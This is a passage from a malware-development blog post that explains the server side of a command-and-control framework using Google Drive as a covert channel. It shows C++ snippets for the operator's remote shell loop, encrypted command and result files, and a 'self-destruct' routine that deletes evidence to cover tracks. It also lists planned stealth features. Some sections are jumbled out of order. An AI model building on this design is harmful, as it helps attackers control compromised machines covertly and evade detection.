is invalid, a "No files found for this user." message is shown.
List Root Files (Menu Option 9) – Invokes Server::ListRootFiles() . This is similar to the above, but targets the Drive
root directory (by passing "root"  as the folder ID). It prints all files at the top level that the server account can see. The
server typically might upload files to root if not associated with a specific client. For instance, the server's own activity log or
other artifacts could be found here. Listing root is mainly a debugging or administrative convenience.

Cache Verification: It looks up the userID  in userCache  to ensure the client is known and has recent data. If not found, or
if the cached status isn't "Online", the server refuses to initiate the connection. This prevents us from connecting to an offline
or non-existent client. (The monitor thread should have populated the cache if the client is alive, so under normal conditions
an online client will be in the cache with status Online.)
Session Key Setup: The server calls EstablishEncryptedConnection(userID)  once more to guarantee that
transmitKey  and receiveKey  are current for this client. This accounts for any last-minute key changes. After this, the
encryption session is ready.
User Prompt: It fetches the user's name from the cache ( GetUserNameFromCache ) for display, and prints a prompt indicating
a connection has been established. For example:

Initiating connection with user: Alice

Type 'help' for available commands or 'exit' to stop the connection.

C:\Users\Alice>

// Inside InitiateUserConnection loop (simplified)

std::string commandInput;

while (keepRunning) {

std::getline(std::cin, commandInput);

if (commandInput.empty()) continue; // ignore blank inputs

if (commandInput == "exit") {

std::cout << "Stopping connection with user: " << userID << std::endl;

break; // exit the loop

} else if (commandInput == "help") {

DisplayHelpMenu();

continue; // show help and continue

}

json command = PrepareCommand(commandInput);

if (!ValidateCommandSyntax(command, userID)) {

std::cerr << "Invalid command syntax or unauthorized access." << std::endl;

continue;

}

LogActivity(commandInput, userName, true); // log the issued command



Let's break down key parts of this loop:

if (command["type"] == "shutdown") {

UploadCommand(command, userID); // fire-and-forget shutdown

std::cout << "Shutdown command sent. Closing connection." << std::endl;

userCache.erase(userID); // drop keys from cache

break; // no response expected, exit session

}

UploadCommand(command, userID); // send command file to client

ProcessCommandResult(userID, userName); // wait for and display output

}

Exit/Help Commands: Typing exit  will terminate the session (breaking out of the loop), and help  will call
DisplayHelpMenu() . The help menu lists the commands available in a client session (like cmd , upload , download , run ,
shutdown ) and examples of their usage. These are essentially the same as documented in the server's main menu but
focused on what you can do once connected to a client.
Command Parsing: Any other input is treated as a potential command. The raw string (e.g. "cmd whoami" , "download
1a2b3c4d C:\temp\file.txt" ) is first parsed by PrepareCommand() . This helper splits the first token as the command
type and the remainder as the command content. It then wraps them into a JSON object: e.g. { "type": "cmd",
"command": "whoami" } . This JSON structure is what gets uploaded to Drive for the client to consume.

ValidateCommandSyntax
ValidateCommandSyntax adds a layer of security by preventing misuse of certain commands. For instance, the parent
folder check for downloads ensures the operator cannot inadvertently read files from other clients' directories or system
areas outside the intended scope. It's also a way to catch typos or missing arguments early.

We then validate the JSON with ValidateCommandSyntax. This ensures the command is well-formed and permissible.
For example:

If type == "download" , the content must have two arguments (a file ID and a destination path) and the file must
actually exist on Drive. Moreover, the server checks that the file's parent folder is either the target user's folder or
the Drive root (preventing a connected user from fetching another user's files without permission).

If type == "upload"  or run , it ensures there is one argument (a file path), and for run  specifically, it currently
requires the path to end in .exe  as a basic safeguard.
Other types like cmd  and shutdown  are straightforward (any string for cmd , no extra content needed for
shutdown ). If a command fails validation, the server prints an error and skips sending it.

Activity Logging: Every command the operator enters (except exit  and help ) is logged to a local file
server_activity.log  via LogActivity(). The log entry includes a timestamp, an indicator of whether it's a server-issued
command or a client response, the username, and the content of the command or output. For example, issuing cmd whoami
as Alice would log a line like "[YYYY-MM-DD HH:MM:SS] [Server] cmd whoami". Logging is useful for audit and debugging,
creating a history of interactions.
Uploading Commands: After packaging the JSON and logging, the server is ready to send the instruction. This is done with
UploadCommand(command, userID). This function encrypts the command JSON using the current transmitKey
(symmetric key for this session) and uploads it to the client's Drive folder as a file. To ensure uniqueness and ordering, the
file is named with a timestamp: e.g. "command_file_20250707_133623" . If a previous command file exists (Drive might
retain older ones), it uses CheckFileExists  to find an existing "command_file"  and overwrites it; otherwise it creates a
new file. The actual content upload is handled by EncryptAndUploadData() , which converts the JSON to a string and
performs AES-256-GCM encryption with a fresh nonce, then calls driveAPI.UploadFile()  to push it to Google Drive. The
client, which is continuously polling its folder, will detect this new file and proceed to execute the command (the details of
client behavior are covered in the Client section).
Special-case Shutdown: If the operator's command was a shutdown  (to remotely power off the client machine), the server
treats it differently. It still uploads the command (which will instruct the client to shut down itself), but since a shutting down
client won't send back a result, the server does not wait for a response. Instead, it prints confirmation and breaks out of the
session loop immediately. As a cleanup, it also removes that user from the cache ( userCache.erase(userID) ) so that the
session keys and info for that client are dropped. The expectation is that the client will soon go offline (and possibly delete its
Drive folder, depending on its implementation).
Waiting for Response: For all other commands (e.g. cmd , upload , download , run ), the server will wait for the client to
execute the task and upload a result. After UploadCommand , it calls ProcessCommandResult(userID, userName) to
handle the response cycle.

ProcessCommandResult performs a polling loop to find a command output file from the client. It uses
CheckForCommandsResults(userID)  which searches the user's folder for any file named "command_output*"  (the client, by
convention, will upload results with filenames starting or containing "command_output" ). If found, it returns the file ID. The



After printing the command's output, the loop iteration ends and the server goes back to waiting for the next command input.
This cycle continues until the operator types exit , which breaks out and returns to the main menu context.

Throughout this interactive session, the background monitor thread is likely still running every 30 seconds, but our design
doesn't interfere with it. The session uses the cached keys and if the monitor refreshes them mid-session (if it detected a key
change), subsequent commands would still work since EstablishEncryptedConnection  is idempotent (it will just reuse the
same key if nothing changed).

Finally, once the session is exited, the operator is back at the main menu and can choose another action or connect to another
user.

Mass Shutdown and Self-Destruct

Aside from per-user operations, the server offers a Mass Shutdown feature (menu option 10) to terminate all client activities
and then exit the server. This is realized by the Server::SelfDestruct() method. It's essentially a "panic button" to clean up in
case the operator wants to quickly halt the C2.

When triggered, SelfDestruct()  does the following:

After SelfDestruct()  is executed, all clients should receive the order to shut down and self-delete, and the server removes its
keys and command files from Drive. At this point, the infrastructure on Google Drive is (almost) back to an empty state, as if
nothing had happened – an operational security measure to cover tracks.

Summary

In summary, the Server component of ProjectD is a multi-threaded C++ application that uses Google Drive as a makeshift
control channel. It initializes by setting up cloud authentication and encryption keys, continuously monitors connected clients by
decrypting their status reports, and allows an operator to interact with any single client through an encrypted, file-based
command/result exchange. The design avoids direct network sockets by leveraging Drive's API, and secures all data using a
combination of asymmetric keys (for exchange) and symmetric AES-256-GCM (for bulk encryption), thanks to libsodium's

server then downloads and decrypts that file via DownloadCommandResult(userID, fileID) . The decrypted text (e.g. the
console output of the cmd  that was run, or a success message for upload/download) is then printed to the operator's screen
and also logged (with isServer=false  to mark it as client output in the log).

The server keeps polling in a small loop, checking for a result every 100 milliseconds (per POLL_INTERVAL ) and giving up
after 30 seconds if nothing arrives. These timeout values are defined by COMMAND_TIMEOUT  and POLL_INTERVAL  constants.
If the timeout expires, the server notifies the operator that no response was received (which might indicate the client didn't
execute the command or is offline).

Importantly, CheckForCommandsResults  uses the lastProcessedCommandOutput  string to avoid re-processing the same
output file multiple times. Each time it finds a new output file, it compares its name to the last seen name; only if it's different
does it treat it as a fresh result and update lastProcessedCommandOutput . This is necessary because the Drive search
might return the same file repeatedly until it's deleted or changed by the client. By tracking the name (which has a timestamp
in it), the server ensures one output is printed only once.

1. Broadcast Shutdown Command: It prepares a shutdown command JSON (equivalent to what
PrepareCommand("shutdown")  would produce). Then it calls UploadMassCommand(command), which iterates through
every user ID and uploads the shutdown instruction to each one's folder. This leverages the same command upload
mechanism described earlier, but in a loop for all clients. As it does so, it prints a message indicating the broadcast (e.g.
"Broadcasting command: shutdown to client: <ID> "). By using the established encryption for each client (it calls
EstablishEncryptedConnection  for each user inside the loop), it ensures every active client receives a secure shutdown
notice.

2. Delete Server Artifacts on Drive: Next, the server attempts to wipe evidence of its existence from the cloud. It looks for the
"server_public_key"  file on Drive and deletes it (since after this point we no longer need our public key there). Then it lists
all files in the Drive root (not within user folders) and deletes each file that is not a folder. This would include any leftover
command files or logs stored at root. (Notably, it skips over user folders themselves – those remain, so that clients can still
fetch the shutdown command we just placed in them. The expectation is that each client, upon seeing the shutdown
command, will perform its own cleanup and possibly delete its folder.)

3. Terminate Process: Finally, the server calls exit(0)  to shut itself down immediately. This stops the main thread, the
monitor thread, and any other activity, effectively ending the C2 server program.



cryptographic primitives. By following a structured menu-driven approach, the server makes it straightforward to list clients,
inspect their files, issue system commands, transfer files, run programs, or even shut everything down in one go. All of these
operations are handled within the Server class methods we explored, illustrating how the pieces – DriveAPI, Encryption, and the
server's own logic – come together to form a functional Cloud C2 server.

Conclusion and Acknowledgments

I hope this blog post was clear and easy to follow. I did not cover every bit of code in the project since that wouldbt be feasible
but tried to conver the most important parts. Besided showcasing how one could use a cloud service as a C2, this was also my
first time venturing into the C2 development area so I got to explore a lot of the main concepts a c2 needs. While I started this
project back in the summer of 2024, I only finished it in the summer of 2025, i had a long pause on its development due to other
projects and university but i am glad i finally finished it and could put it out there. In the future, i will probably do a v2 of th
eproject ,where i explore stealth, add mutex, jittering in the sleep cycles of the client, removing the plain names of the files like
command_file, command_output, etca nd many more. My 𝕏 (Twitter) DMs are open for any suggestions or comments. and one
could also create a github issue for any issue.

To achieve my final goal, I used external libraries and referenced other people's code. Here they are:

Disclaimer

This tool is intended for educational purposes only. Misuse of this tool can lead to legal consequences. Always ensure you have
permission before using it on any system. The author is not responsible for any misuse of this tool.

#maldev  #c2  #cloud

libsodium
nlohmann/json
cpp-httplib
jwt-cpp
DBC2

GC2-sheet
What are Command and Control (C2) Servers?

https://x.com/bernking20
https://libsodium.gitbook.io/doc/
https://github.com/nlohmann/json
https://github.com/yhirose/cpp-httplib
https://github.com/Thalhammer/jwt-cpp
https://github.com/Arno0x/DBC2
https://github.com/looCiprian/GC2-sheet
https://www.sentinelone.com/cybersecurity-101/what-are-command-control-c2-servers/

